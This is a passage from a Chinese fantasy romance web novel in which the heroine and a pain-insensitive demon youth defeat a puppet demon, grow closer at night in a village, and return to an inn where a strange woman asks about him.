是心情不好吗? 池镜花想不明白,也她暂时没空考虑这些。 四周只剩下她一人,为防止傀儡妖偷袭,她必须打起十二分的精神来。 趁奚逢秋不在,她索性掏出防身符咒,谨慎小心地查探周围情况。 不停闪烁的雷电时不时照亮墙面的恐怖血影,仿佛这些斑驳的痕迹下一刻就会跳墙而出,化为腥臭的血水,将她拖入满是恶鬼的深渊。 虽只是错觉,但池镜花的心脏却开始剧烈跳动,怎么也无法平静,她开始想念奚逢秋,希望他赶紧回来。 为让自己保持镇定,池镜花不停深呼吸,好不容易才好点,猝然间,肩膀传来异样,一只成人大小的手掌轻飘飘地搭在她肩上。 没等她转头,那木偶外表的傀儡妖已探出光秃秃的半边身子,绕到她跟前,嘴巴呆板地一张一合,口中的无底黑洞若隐若现。 “你可以陪我跳舞吗?” 池镜花呼吸一滞,几乎准备逃跑。 就在此时,湿润的空气飘来淡淡香气,不见五指的黑暗里生出几缕白丝,下一刻,木偶的脑袋“噗通”一声砸向地面。 尚未反应过来,池镜花整个人已落入一个冰冷而熟悉的怀抱。 第59章 第59章因为你是来找我的。 从屋檐瓦片漏下的雨水如一串透明的珠帘,在冷风中晃晃悠悠倾泻而下,在凹凸不平的地面汇聚成一条条细小的涓流。 池镜花被雨水从头到脚浇了个半透,身体凉如冰块,脑袋却异常清醒。 被奚逢秋搂住脖颈紧紧抱住,她本能地抓住对方也已湿透的衣袖,深吸一口气。 夹带潮湿雨水的香气一股脑地涌进鼻腔,直冲进脑袋,有意无意地搅弄她的神识,令她有片刻的失神。 回过神来,池镜花不由自主地将手中之物攥得更紧,一颗不受控制的心脏逐渐平静下来 ,声音也平缓许多。 “奚逢秋,我没事。” 听见她的声音,少年才微微松开双臂,含着浅笑的视线一点点缓慢滑过她的眉眼和面颊,耐心细致地确认她的当前状况。 池镜花极为缓慢地眨了两下眼睛,一颗雨水从不经意地从睫毛滑落,融于地表浑浊的积雨里。 屋外电闪雷鸣,平地乍起的惊雷是不是照亮屋内一切,不知怎地,方才还鬼影隔绝的可怖鬼影此刻却犹如被隔绝在另一方空间。 “嗯,我知道。” 奚逢秋轻轻点了点头,情绪看上去异常平和,唯有眼底流露出一丝诡谲古怪的碎光。 忽然间,一直压在她后颈的微凉指尖若有似无地掠过她的发丝和肌肤,朝着耳侧缓缓滑动。 池镜花不禁打了个冷颤,不懂他要做什么。 直到他停在池镜花的肩上,掌心完全覆着傀儡妖方才碰到的地方,停顿几秒,才极为轻柔地替她拂去残留的难闻妖气。 池镜花松了口气,干脆随他怎么喜欢怎么来,垂眸间,突然发现面前有一道阴影打了下来。 是傀儡妖! 它虽被砍掉脑袋,但四肢仍可自由活动。 雷电照亮他由木头制成的一节节躯体上,他就正站在雨下,双手持着生锈的剑刃,躺在地上的木偶脑袋随着嘴巴的张合,有破碎的声音溢出。 “来跟我……一起……跳舞吧……” 破案了。 这是一个喜欢在雨夜持刀跳舞的危险变态妖怪。 池镜花脑中警铃大作,正要出声提醒,不想下一刻,眼前蓦然一黑。 是奚逢秋蒙住了她的双眼。 而后,耳畔刮来的冷风中传来少年轻声细语的泠泠嗓音,像是拥有魔力般,莫名安抚好她狂乱的心跳。 “别怕,只需要一小会儿。” 池镜花默不作声地抚上他的手背,由本能指引着她一点点向他的指尖探去。 不出所料,在他手指的尽头摸到几缕白丝。 下一秒,“哐当”一声脆响,双刃光速掷地,整只木偶随之倒下,万物归于寂静,池镜花也得以重见光明。 她垂眸望去,借助闪电落下的白光看见木偶的四肢皆被削去,只剩个无法自由活动的身躯匍匐倒地。 奚逢秋眼睫低垂,惨白的面庞却漾着温柔的笑,视线一错不错地凝视着少女,借此来窥探她内心的真实情绪。 “这样也会害怕吗?” 池镜花如实摇头,“不会。” 不仅不怕,他简直好得太过了! 比之前都要温柔。 而且这一次,奚逢秋救她,更像是怕她遇到可能会任何潜在危险,而不是在她遇到危险时再出手相救。 跟之前遇到衣服鬼时给她的感觉很不一样。 果然是因为好感度上来了吧。 池镜花想到曾对他做过的那些事,感叹努力没有白费的同时,不禁联想到后面应该怎样才能让他更在乎自己。 不过现在还是专注眼前事比较好。 她自然而然将目光转至地上的木偶,蹲下身子,用手指好奇轻戳傀儡妖毫无温度的手臂,有些苦恼地歪了歪头打量着。 “这只妖怪要怎么办?” 虽然木偶的躯体已经支离破碎,但它没死,喉咙里一直传来破碎的呻|吟,不停重复“跳舞”二字,只要有机会,它还可以重新组装四肢。 奚逢秋只淡淡垂眸,目光轻轻扫过池镜花黏在额头和脸颊的发丝,落在她微微翘起的鼻尖,依稀可见其挂着晶莹的雨水。 虽然不久前被傀儡妖扰乱思绪,但此时此刻,只是这样看着池镜花,尽管她没做任何取悦他的事情,但足以驱散先前所有不快。 “试试用火吧。” 他的声音轻轻慢慢,听着莫名有些高兴。 经他一提醒,池镜花才想起个生活常识。 “对哦,木头怕火。” 怪不得它只在雨夜出没,水是火的克星,若是一旦遇上,它几乎死无全尸。 这妖怪……看着挺傻,结果原来这么聪明! 屋外雨声愈小,风也几乎全息了,只有偶尔惊起的雷电吓人一跳,照的墙面血影若隐若现。 奚逢秋微微低头,湿漉漉的发丝搭在肩上,他轻“嗯”一声,抬起右手指着屋外,指尖一颗水珠滴在池镜花肩上。 “雨快停了。” 池镜花抬头望去,只瞧见暴风雨后的野外恢复白日的宁静,无畏的杂草终在风雨中弯下了腰,恐要等到明年开春才能重新站立。 “嗯,那我们赶紧回去吧。” 池镜花行动能力极强,很快便将木偶脑袋、身躯和四肢收拾好,拉着奚逢秋往吴村长家所在的方向赶。 可是下过雨的小道尤为泥泞难走,不出片刻,她干净的裙摆便沾满泥点,好不容易回到吴家,已是后半夜。 他们敲了很久的门才有人应声。 吴村长夫妇拿着菜刀颤颤巍巍地将门打开个缝隙,由吴村长将吴夫人护在身后,直到确认是他们二位才放心将门打开。 脸已吓得惨白的吴夫人站到前面来,抚着胸口长舒一口气,“对不住,二位仙师,我们以为是……” 理解他们怕雨夜妖怪作乱的心情,池镜花赶忙摆手示意。 “没关系没关系,妖怪我们已经替你抓到了,不用怕,不过还要麻烦二位等会儿点火将他烧了。” 听她所言,两人皆探出脑袋,朝他们身后看了一眼,只望见几块零散的木块,像是他们之前所看见的木偶的身体一部分,不禁皆惊慌地吞了口唾沫。 “好,我们知道了,二位仙师快快进来吧。” 吴村长做了个“请”的动作,让他二人进去。 为防生病感冒,一进门,池镜花快速洗了个热水澡,换了套干净的衣裳,吸了吸头发上的水,接着推开门,看见外面火光冲天,知道是吴村长夫妇在火烧木偶便安心了。 她正要躺下,蓦地想起一件事,瞬间弹射坐起——奚逢秋今晚怎么没来找她? 他手指伤势未愈,按照前几日惯性,每夜他必要亲自登门让她给他上药才行,可今日却没出现。 不对劲。 很不对劲。 难道是今日捉妖累着了? 这一想法一经产生,池镜花只觉得离谱。 她双手背在身后,在房中不安来回踱步,倒也并非多想帮他上药,而是他突如其来的反常举动令她十分在意。 池镜花一边焦急等待,一边时不时往门口瞥,愣是没见到他模糊的身影。 等到后半夜,忍无可忍,她决定主动出击。 池镜花指节轻叩,轻轻敲开隔壁的门。 完整的蜡烛燃得只剩半截,桌面已凝成一层厚厚的烛泪,矮短的烛芯飘出一缕浅灰色的烟火气。 烛火明明灭灭,映出少年的昳丽绝绝的五官,他潮湿的发丝尚未干透,湿漉漉地垂在身后。 奚逢秋还没睡觉只是坐在桌前,一手支着额头,脑袋微歪,不知在想些什么,只有在见到池镜花时才露出个温和的笑。 “是来帮我上药的吗?” “嗯,是啊。” 池镜花点点头,不疑有他地坐到他身侧,将随身携带地瓷瓶搁在桌上,朝他伸出一手。 “手。” 随着话音落下,奚逢秋已摊开修长的五指,借助微弱的光芒,将受伤的掌心暴露于她的视野。 伤疤其实已经很淡,但为了不让他留疤,池镜花还是剜出一点膏药,小心翼翼地均匀涂抹在他掌心和指尖。 跟以前一 样,只要她一碰到他的伤口,奚逢秋的反应就很大,低垂睫羽下的瞳孔紧盯着肌肤相连的地方,呼吸、心跳、体温皆因她的触碰而变得极为不正常。 少年如玉的指尖在灯下微微蜷曲颤动,极力克制住握住她的欲望。 池镜花从他身体的渴望中察觉到异样。 他分明记得这件事,也十分享受自己帮他上药,却故意不现身,像是……像是故意等她主动上门一般! 想到这,池镜花指尖一颤,指甲不小心剐蹭到他的掌心,剧烈的疼痛和肌肤相触时的奇妙感觉引起他身体的一阵颤栗。 哪怕知道此刻他很舒服,池镜花却不想再动了。 令他感到舒适愉悦的刺激瞬间褪去,奚逢秋不由掀起眼睫,有些不解地望着她。 “怎么了?” 池镜花抬起头,轻轻抿唇,秀眉微皱,本想打个腹稿侧面试探,不料她思来想去也不知如何切入,索性直接问。 “你故意不出现是想我来找你吗?” 奚逢秋小幅度地点了点头,烛火下的面颊覆着温柔的光辉,漂亮的眉眼中蕴着恬淡的笑,摇曳的耳铛倒映出一簇旺盛的火苗。 “我确实希望你可以主动来找我。” 池镜花大为不解,“为什么?” 他其实并不清楚自己为何会对池镜花主动找他这件事生出期待,但是,光就找她这件事足以令他高兴万分。 他慢慢倾身靠近,左手按住她的后脑,渐渐地,额头轻抵上她的,灼灼目光如锁链缠住她的双眸,直到确认她的眼底只容纳自己一个人的身影,才不由露出满足而愉悦的笑。 “因为你是来找我的。” 不是别人,也没有别人。 第60章 第60章想让你跟我一样。 窗外熊熊燃烧火焰所发出的橙红色火光影影绰绰从窗棂映进房间内,照亮屋内少女白皙明媚的脸庞。 随他蓦然贴向自己额头的动作,少女耳鬓碎发恰滑落至肩头,在微微泛红的侧脸投出一串模糊摇曳的阴影。 本应湿冷的空气温度陡然升高,四周静到已似乎可以听见蜡烛燃烧时发出的细微响动。 池镜花垂眸思忖片刻,从奚逢秋的这句话中读出了他期待见她的含义,但莫名拧巴得紧,偏要她主动现身。 应当并非为了试探,就像是现在这般,仅是额头相贴的程度,池镜花就已能清晰感受到他愉快的情绪,就像是……单纯享受她的靠近。 池镜花想到他目前所展露出的大大小小的怪癖,包括被各种压制和被亲,将他归为“被动型人格”。 虽然这种性格特质总要她主动,看上去有些麻烦,但有个最大的好处,便是他几乎从不会强迫她做自己不喜欢的事情,即便有时为了达成他的目的,也只会采取诱惑和讨好扮乖的方式。 池镜花眼睫一颤,抿唇不语,静静聆听二人交织的心跳,伴随着炙热的空气在二人之间不停交换,一缕缕清新的花香钻入她的脑海中。 她的心跳有些不受控制地加速。 “你找过其他人吗?” 当少年轻轻慢慢的声音从喉间溢出时,停滞许久的空气为之一颤。 池镜花回过神,抬眸眨眼,一副不解的神情望着他。 “什么其他人?” 窗外的火光与桌上的烛火交相辉映,照亮少年略显病态的面颊,一双蓝色的瞳孔除了她却看不见烛火的影子。 他微微笑着,眼神温柔似水,就这样表情平静地凝视她的双眸,语气里却不加掩饰地透露出疯狂。 “就是像这样,半夜去找别人。” 池镜花慢慢睁大双眼,不假思索地大声否认:“当然没有!” 此时此刻,她总算想明白了。 除了喜欢被动,他还对她还伴有极高的占有欲。 甚至比之前还要强。 池镜花不禁有些好奇,若是等他完全爱上她,他对她的占有欲究竟会到什么程度。 会不会变成黏人精?每时每刻都要跟她黏在一起的那种? 池镜花倒是不太反对这个,不过,依他目前的好感度,应该很难做到这点。 也不知究竟什么时候才能真的喜欢上她。 池镜花在心里无声地叹口气,接着,又表情镇定地补充一句。 “除了你,没有其他人。” 他极轻地应了一声,唇角微微扬起,眼底漾出个满足的笑,指腹不知满足地轻轻摩挲她的后颈肌肤。 池镜花不动声色地往后退了半步,与他拉开些距离,眨眼间,便将膏药收拾好,转头时,看见他正撑脸望着自己。 她毫无畏惧地回望。 屋外燃烧的火光愈来愈小,唯有微弱的烛光盈满整个房间,昏暗的暖色光线静悄悄地笼在少年四周。 他虽换了套衣服,但头发依旧是湿的,潮湿的发尾时不时还滴下一颗冰凉的水珠。 池镜花不由说道:“你把头发擦一下吧,这样湿漉漉的不难受吗?” 听她所言,奚逢秋不经意地捻起一缕发丝,瞳孔微转,余光轻瞥一眼,温暖和煦的笑容依旧,语速低缓。 “没关系的。” 池镜花无奈叹了口气,“算了,还是我帮你吧。” 少女声音落地的瞬间,奚逢秋微微掀开双眸,轻轻歪过头,血红的耳铛划过明明灭灭的烛火,双眸浮出湛清的笑,语气里充斥着期待之意。 “真的会帮我擦头发吗?” “没错,是真的。” 池镜花红润的唇瓣一张一合,说罢起身要往外走,不忘丢下一句让他安心的叮嘱。 “等我一下,我去取个东西,马上回来。” 既然他属被动型人格,那她只能主动接近他,一步步攻陷他,况且,万一他生病感冒,对她来说也挺麻烦,就是不知道妖怪会不会生病感冒…… 真是越想越离谱。 池镜花将乱七八糟的想法排出脑外,赶紧回房取了布巾原路折返。 回到狭小昏暗的房间,池镜花站在他身后,因为是第一次帮人擦头发,难免有些紧张,她轻咳一声,一是为了提醒奚逢秋,二是给自己壮胆。 “那我开始了。” 奚逢秋极轻地“嗯”了一声,只能听出他微微上扬略显愉悦的音调,遗憾的是看不清他此刻的神色。 得到他的应允,池镜花才敢大胆地扯散他的墨发,用干净的布巾将他发丝附着的水珠一点点拭去。 可她毕竟没有做过这种事,手法难免生疏,一不小心指尖缠上他的发丝,狠狠拽了一下,那一刻,心脏止不住地颤动。 “对不起,我不是故意的,你……”疼吗? 当“疼”字哽在喉咙里不上不下之时,池镜花恍然意识到一件事——他感受不到疼痛。 只要她不碰他,就算拿刀把他捅了杀了都毫无知觉。 但他为什么会感受不到疼痛呢? 过去,池镜花疑惑为何他的血肉带毒,后来猜测也许是她母亲给他灌毒,所以导致这样的结果。 可唯有他毫无痛觉一事始终未曾明白。 池镜花无比确定自己就是个普通人,不存在自身特殊体质的可能性,更没有绑定任何令男配疼痛恢复的金手指。 最为重要的一点:似乎随着好感度的提升,奚逢秋的肉|体对疼痛的感知也会加深。 简直太奇怪了。 就好像……好像他先前感受不到疼痛是因为没有对他人产生过感情一般! 池镜花倏忽记起他在袁府曾明确说过“他不会喜欢人”,原以为只是他三观扭曲情感淡薄,谁承想是真的根本没有任何情感。 无情无爱。 怪不得心总是又硬又冷呢! 但若是转换角度思考一下,哪怕是奚逢秋这样无情无欲的妖怪也对她产生了45好感值,是否可以证明她的攻略之路相当成功呢? 当池镜花完全沉浸在自己的世界中时,全然未注意到已面对面站在她跟前。 冷风中的烛火不停闪烁,勾出映在墙壁上模糊摇晃的叶 影,仿佛置身于虚幻的空间。 少年眼眸低垂,半干的乌发散落身后,有几缕由耳侧垂下,从窗棂吹进夹杂烟灰冷风将其轻轻扬起又飘下。 “池镜花。” 一声熟悉的轻声呼喊立刻拽回她的神识,她连忙放下布巾,又急又心虚地摆手。 “没什么,没什么,我没瞎想,水我已经擦干了,放心,不会生病的。” 奚逢秋没有立即搭话。 他逆光而立,微弱的烛光打在他的侧脸,好看眉宇凝着不解神色,以一种探究的神情凝望着她,或是想窥视她藏在内心的真实想法。 下一秒,池镜花双手一下按住他的肩胛,一点点地向后移动,直至双手交叠,从身后环住他的脖颈,继而踮起脚尖用力地搂住他。 她的这一举动不全是想要攻略他获取他的好感度,只希望尽自己的努力给予他一点点温暖。 也许正如他过去所说,只有疼痛方能让他有活着的感觉,可池镜花想要让他知道,不管是以前还是现在,他就是活着的。 这很重要。 她真的很怕他不顾性命地随时去死,只好期盼他能多一点求生欲。 四周寂静无声,立在木桌上的一小截蜡烛燃烧殆尽,屋内的唯一的光辉也被黑暗吞噬,只余下一缕袅袅烟气飘散于风中。 谁也没说话。 慢慢地,奚逢秋开始配合她,双臂从她的肩侧缓缓绕过,紧紧地环住她。 比起意识,身体似乎更快地接受乃至享受她的靠近,而后,给予回应。 他不禁俯身去嗅她身上甜腻的气息。 池镜花把脸颊埋进他的颈窝里,隔着一公分的距离,呼吸时又烫又急的气息尽数打在他的颈间。 “奚逢秋,活着很重要。” ——死了,就什么也没有了。 这是池镜花小时候因亲人过世而在心中烙下的深刻情感体验,可她无法将这种感情强加给他,更不会这样霸道不讲理,只希望她的拥抱以及陪伴能给他一点鲜活的生气。 也不知他究竟有没有听懂她肺腑之言的弦外之音,但话音落下后不久,池镜花只觉得发间不知为何传来异样。 还没反应过来,不多时,发带已被他轻轻扯开,长发划过脖颈瞬间散落于身后。 轻盈而柔软的发带从他指间悄然滑落,摇摇晃晃地飘向地面。 意识到发生状况的池镜花忙从他怀里挣脱,双手抵住他的肩胛,微微睁大眼睛,难以置信眼前发生的一切。 “你在做什么?” 奚逢秋以冰凉的指腹缓慢滑过她的脸颊,帮她多余碍事余的发丝轻轻撩至身后,好让她露出全部的面庞。 他微微笑着,声音莫名透着温柔又偏执的眷恋。 “只是想让你跟我一样。” 什么叫跟他一样,完全不明白他在想什么啊! 池镜花静静地仔细打量着他。 站在黑暗中的少年隐约可见其布在面庞的愉快与兴奋之情,注视着她的眼神中生出几分莫名的渴望。 他散落的乌黑发丝在冷风中轻扬,究根结底,他口中的“一样”指的就是他们二人皆披散着头发。 可池镜花实在瞧不出这里面的门道。 她微微低着头,蹙眉思索着,垂下的发丝半遮住面颊,只觉得虽然好感度有所提升,但有时候真的愈发看不懂他了。 正思考着,奚逢秋轻轻揽住她的腰肢,指尖轻柔地触上她的脑袋,顺着发丝生长的痕迹,慢慢地抚摸下来。 “这样,你不喜欢吗?” 60-70 第61章 第61章说喜欢。 夜已深,下过雨湿润空气中弥漫着泥土的芬芳,朦胧的月光泄进窗棂,只能让他们堪堪看得清彼此的身影和面庞。 不知为何,当“喜欢”二字轻轻落地时,池镜花有种他口中的“喜欢”另有深意的感觉,却不明白他究竟指的是什么。 恐怕,连他都不清楚自己心中究竟想要的是什么。 但肯定不是喜欢她。 池镜花轻轻咬了咬唇瓣,不动神色地拂去他的手指,思忖片刻,她忽而仰头,抬起亮晶晶的双眸一眨不眨地望着他。 “咳!你希望我说喜欢还是不喜欢?” 漂亮的少年完全站在阴暗处,随风晃动的模糊树影投在他浅白色的衣裳上,血红的耳铛也在黑夜中暗了下去。 听她所问,奚逢秋唇畔微扬,极轻地笑了一声。 “说喜欢。” 笑声轻轻慢慢地拂过池镜花的耳畔,钻入她的耳蜗,像白羽在她耳间轻舞,带来片刻的痒意。 “喜欢……” 池镜花神智清醒地轻微点了点头,怕声音太小他没听见,不由拔高音量重复一遍。 “嗯,我喜欢。” 不管他究竟想要什么,但此时此刻,就像是大人有时会满足小孩子的合理要求一样,只要他高兴就行了,而且,这件事对她来说不难。 在她说完“喜欢”之后,奚逢秋骤然像是被什么给逗乐,眉眼弯如月牙,望着她,忍不住笑了起来。 池镜花不明所以地眨眼,不明白只是简单的两个字怎会让他如此高兴。 又并非表白。 若刚才真是她的表白,看他还能不能笑得出来。 奚逢秋依旧微微笑着,眉眼间是止不住的笑意,指尖再次抚上她柔软的发丝,轻柔地抚摸着,喉间溢出的声音语调温柔几分。 “可真好说话。” 好说话? 池镜花突然想到,也许正是因为她脾气好,所以他才总好拿捏她的喜好和同情心,几次三番地在她面前“扮乖示弱”。 “我其实不是一直这么好说话的。” 大约是为报复,池镜花用力狠拍了下他的手背,罢了不给他任何反击的机会,已一溜烟地跑到门口,正要出去却不忘转头笑着与他打招呼。 “晚安,明天见!” 池镜花目光匆匆一瞥。 借着打在角落里的半点月光,她看见少年抬起微微泛红的手指,唇畔轻扬,心情依旧很好,完全没有一点生气恼火的影子。 池镜花回房放心地睡下了。 也没做什么奇怪的梦。 昨夜虽下了雨,翌日却是个好天气,日光耀眼,只是一夜过去气温骤降不少,空气隐隐弥漫着湿冷的气息,黄叶已铺满地面,有些已凹进松软的土中。 因睡前池镜花一直努力给自己灌输“要早醒”的心理暗示,第二天竟在太阳刚刚初升便睁开了眼。 她随手摸了下被睡乱的头发,想到昨夜走得急,发带遗留在他房间里,整理一下正要去寻,不想开门的刹那间,看见奚逢秋已坐在门口光洁的的地板上。 因他一直背对房门,池镜花看不清他的神情如何,只见到个清冷的浅色背影,乌发于风中微微摇曳,脚边匍匐着只蔫巴巴的白鹤,像是没怎么睡好的样子。 被他轻轻握住淡紫色发带拂过他的衣袖,正随风肆意飘扬。 察觉到身后轻微的脚步声,少年微微偏头,一缕金色日光落在他肩上,映上他冷白的颈间,他将握着发带的手缓慢地伸了出去。 “这个,你好像落下了。” “额……谢谢。” 池镜花神情一怔,回过神来正要伸手去接,不料指尖尚未触及到发带,又听见他不急不慢地开了口,声音轻柔而低缓。 “要我帮你吗?” 这个“帮”自然是指替她绑头发。 仔细一想,她帮他擦头发,他为她绑头发,倒也算互惠互利。 “嗯,好。” 池镜花不作纠结,坦然坐在他身旁,微微侧过身背对着 他,任由他随意抚弄自己的头发。 随着他的十指轻轻慢慢地插|进发丝里,被他指尖所若有似无触碰到后颈所产生一股怪异的感觉。 柔和的阳光洒在四周,池镜花低头不语,实则已经默默攥紧拳头,拼命忍耐游走在她脖颈处的酥麻感。 此时此刻,白鹤来了精神,睁大圆溜溜的双眼好奇地打量他们,不明白两人这是在做什么,但肯定没有吃鱼快活。 不知过去多久,在一次次的接触中,池镜花已渐渐习惯他冰凉的指尖时不时地擦过自己后颈软肉时的触觉,身心虽完全放松下来,但总觉得他有点像故意的。 可是没有证据。 思考间,迷迷糊糊的,池镜花看见吴村长夫妇也起床出门,忙将发丝从他手中抽走,随便绑了几下。 “好了好了,我弄好了。” 当柔软的乌丝从他掌心迅速滑走时,奚逢秋虽心有遗憾但也只是略微抬眸望着她微微笑着,什么也没说。 池镜花完全没察觉到任何异处。 她快步走到吴村长夫妇面前,分别喊了声两人,缓缓道:“这段时间多谢你们照顾,如今傀儡妖已除,我们要去交还悬赏令,就不打扰二位了。” “仙师稍等片刻。” 明白她这是在作告别的吴夫人立即回房,取出个油纸包裹着的几块酥饼,递到池镜花手上,不好意思地笑了笑。 “我们这小地方实在偏僻,这点干粮你们留着路上吃,别饿着了。” 虽然池镜花很想说不用,但转念一想,若是他们的脚程跟来时一样慢,恐怕至少也得明天才能回到镇子上。 所以最好是备点吃的喝的。 如此,池镜花也不拒绝,诚挚地道了声“多谢”,便收下了。 当然,最好的情况是他们在天黑前下山,然后找个客栈住一宿,第二天再去悬赏司交任务,此事就算告一段落。 为此,池镜花收拾好行囊立刻拉着奚逢秋往山上走。 与她形成鲜明对比的是奚逢秋的不急不慢,就像是他们来的那天一样,甚至不清楚池镜花着急离开的原因。 “为何要这样急?” 微风和煦,泼金的阳光倾洒在美如诗画的小村庄,时不时飘下一片金黄的落叶。 隔着一段距离,他跟在池镜花身后,淡淡目光自始至终注视少女背影,语气中却透着几分不解。 池镜花微微回过头,表情坚定而认真。 “因为我不想再睡在山上,会很冷。” 即将进入十月,哪怕是白天已感受到凉意,夜里只会更冷,她虽害怕奚逢秋不惜命更担心自己生病。 “原来是这样。” 奚逢秋又轻又乖地点了点头,继而垂下长睫,在双颊投下一小块深灰色的阴影,不知在想些什么,但看上去并无太大的情绪起伏。 为确保他们天黑之前下山,池镜花干脆直接拉过他的手腕,唯一一次很有自信自己不会认错路,因为出村的路仅有一条。 当少女飘扬的发尾不经意拂过他的面颊,奚逢秋莫名想起在金德镇的墓地里,她的头发也是叫他这般痒。 奇怪,但莫名享受。 他不禁愉快地弯起唇角。 池镜花对此毫无察觉。 直至一路急匆匆地来到村口的山下,老远看见庞氏双胞兄弟,冲两人乐呵呵地笑,等故意等他们一般。 不知究竟是庞二还是庞三,在好不容易等来二人后,便忙不迭地凑上前,直接拦在路中央,眼睛笑眯一条细缝。 “二位别误会,我们兄弟专程是来感谢你们的,多谢你们替我们解决那只妖怪,也算是为家兄报了仇!” “哦……哦,不用谢。” 池镜花似懂非懂地点头。 话虽这么说,可自第一次见面,池镜花便觉得这两人奇怪的紧,她探查危险的雷达告诉自己得离他们远一些,不能跟他们有过多接触。 “要没别的事,我们先走了。” 听见这话,两人也不过多纠缠,下一刻,便自觉让出一条道来,抱拳大声道了句极为好听的祝福语。 “当然,那就预祝二位一路顺风。” 池镜花沉默着,只想赶紧跟奚逢秋一块离开这。 庞氏兄弟那滑腻浑浊的视线一直紧随二人,直到他们的背影彻底消失于森林深处后才收回,兄弟俩对了个眼神,开始往回走,选择另一条不为人知的道路进山。 山中多树木,阳光被遮挡大半,四处透着阴森冰冷的气息。 池镜花忍不住瑟缩了下,朝四处打量了下,一路跟随白鹤的身影往山下走。 奚逢秋很安静,安静得有些不正常,唇角甚至扬着兴奋怪异的笑。 这种异常是在遇到庞氏兄弟后才出现的。 没等她细细询问原因,奚逢秋忽然将三枚铜钱慢慢塞进她手中。 又冰又凉的指腹轻轻划过她的掌心,给她肌肤带来一阵淡淡的痒意。 池镜花停下脚步低着头,浑身上下写满疑惑,不等她开口,奚逢秋却以近乎恳求的语气低声询问着。 “能替我占卜吗?” 虽然她确实对玄学有兴趣,但占卜……着实难为人! 微风拂过面庞,轻吻她的发丝,池镜花老实摇头,“我不会占卜。” 许是知道她没有这方面的知识,少年睫羽轻颤着垂下,一缕日光恰落在他的眉睫。 就像位脾气极好的良师,奚逢秋轻轻握住她的手指,轻声细语地耐心教导她。 “很简单,只需抛起再接住就行。” 被他这样好声好气地诱哄着,池镜花鬼使神差般的按照他的指示尝试进行,末了,掌心盖在另一只上,仍有些不大确信。 “这样吗?” 奚逢秋应了一声,让她松开手指,迅速扫了一眼静静躺在池镜花掌心中的三枚铜钱。 ——不是现在,更不是这里。 这是她掷出的结果。 有些奇怪,但他本能地顺从了。 奚逢秋不慌不忙地她手中取回铜币,像是什么也没发生获得样子对她微笑。 “好了,我们走吧。” 望着已然空落落的掌心,池镜花完全不知道他为何要让她掷铜钱,更不明白掷出来的结果代表什么,只是莫名有种感觉。 在这个瞬间,他做出的行为决定完全被她影响和掌控。 第62章 第62章他是你很重要的人吗? 池镜花猜的不错,愈接近夜间,气温越低,尤其是在山上,山风簌簌地卷动枯黄落叶,一片萧瑟景象。 当寒风顺着袖口和领口侵进她的肌肤,她不由搓着臂膀取暖,下意识地朝身侧望去。 似乎自她为奚逢秋占过一次卜以后,他便一直心情很好的样子,虽在专心走路,但当池镜花的目光落在他身上,也会本能回望,并未多说,只是轻声地安慰了一句。 “别担心,很快就会下山了。” 池镜花点头不语,仍搞不清他究竟在想什么。 不过正如他所言,占完卜后,他们的下山之路变得异常顺畅,虽没在太阳落山前赶回镇上,不过因丰朝县夜市的存在,四处皆热闹非凡。 不过走了一天山路的池镜花没有心思欣赏这灯火通明下的盛况,她拉着奚逢秋去之前待过的客栈开了两间房。 夜深人静无人登门,客栈只剩个守夜的伙计,本正托着腮无聊地打哈欠,见到有客人登门才勉强来了兴致,替他们开了两间房。 当接过客栈伙计所递过来的两把钥匙后,池镜花轻声说了句“谢谢”,抬脚往二楼走。 寂静的走廊一灯如豆,烛火在冷风中摇摇晃晃,投在地板上的两人影子被无限拉长,扭曲成各种奇形的怪状。 虽是曾住过的客栈,但总觉得有股阴冷的湿气从脚底拼命往上窜,直达天灵盖,令她感觉极不舒服。 池镜花心慌地加快步伐,本想快些回房,却在路过赵星澜的房间时不由停下。 若她记得没错的话,就算男主接下游神会的护卫工作,平时也会住在这里。 如今他们顺利完成任务回归,是否应该打声招呼? 池镜花正犹豫着是否应该叩门,身后忽然传来一道清泠的嗓音,像微风轻拂过她的耳廓。 “这么晚,赵道长也许睡觉了。” 池镜花闻声回头。 少年静静立于她的身后,纤长的睫羽低垂,半遮半掩的蓝紫色瞳孔中倒映出她此时此刻的倦容,漂亮的唇角漾着温和的笑。 她微微一怔,随即配合着点了点头。 “嗯,你说得对。” 并非她被男配的美色所迷惑,而是赵星澜的房间毫无光亮,就算没睡人也不在,想来是有事还没回来。 池镜花不疑有他,干脆推开自己的房间,梳洗一番就睡下了。 直到后半夜,外面寂静的走廊传来一阵 嘈杂吵闹的声响。 熟睡中的池镜花被杂音吵醒,她迷迷糊糊地爬起来,将房门开了一条缝,想要看看外面究竟发生何事。 此时,客栈内来了不少人,他们身着颜色艳丽的戏服,吵吵闹闹地穿梭在走廊里。 看样子是个戏班。 有人在抱怨住宿条件太差,扯着细嗓大叫的声音差点将弯腰偷看他们的池镜花耳膜震碎,也是一个激灵彻底没了睡意。 走在做前面的领头班主是位身材高大、步履沉稳的中年男人,发号施令的声音浑厚有力。 “都别吵了,明天开始就是游神会,今晚大家早点睡,别耽误了时辰。” 在男人说完以后,所有人面面相觑不敢再发牢骚,不多时便安静地各自回房。 走廊重新归于平静,只有窗外的萧萧风声诉说着夜晚的寒意。 池镜花松了口气,正要将门关上继续睡觉,抬眸蓦然发现一位身着明黄色衣裳的年轻女子停在斜对面的房间门口,隔着简陋的房门,正目不转睛地注视里面。 那是奚逢秋的房间。 池镜花没有来由地心间一颤,以为女子找错房间,正要出声提醒,不想下一刻,那黄衣女子竟转过身,柔顺的乌发轻摆,微笑着几步走到她门口。 只见女子额间贴着一张对称的深红花钿,妆容精致,天生微笑唇、狐狸眼。 “你好奇怪呀。” 听见她与奚逢秋说了同样的话,池镜花不可置信地慢慢睁大双眼,心想难道她也发现自己并非这个世界的人? 女子却不大在意,她轻笑一声,纤纤手指微抬,指着奚逢秋的房间,明显对他更有兴趣,下一刻,将整张脸凑到池镜花跟前,声音如鬼魅般缠绵。 “里面那个人,你认识吗?” 不是找错房间。 虽不知他二人有何关系,但在女子靠近的瞬间,蓦然有股熟悉的阴冷之气附上池镜花的双颊,令她忍不住打了个哆嗦。 几乎同一时间,池镜花想要关上门,却被女子察觉到意图,立即用手指死死抵住,制止她关门的动作。 模模糊糊的摇曳灯火下,女子极具魅惑的双眼眯成一条细缝,涂满口脂的血色唇瓣一张一合,自顾自地说着话。 “嗯,看来是认识的。” “那他是你很重要的人吗?” 池镜花不愿跟她接触,故意摆出一副生人勿近的冰冷神情,连说话来跟机器人似的毫无温度。 “姑娘,你找错人了,请你松手。” 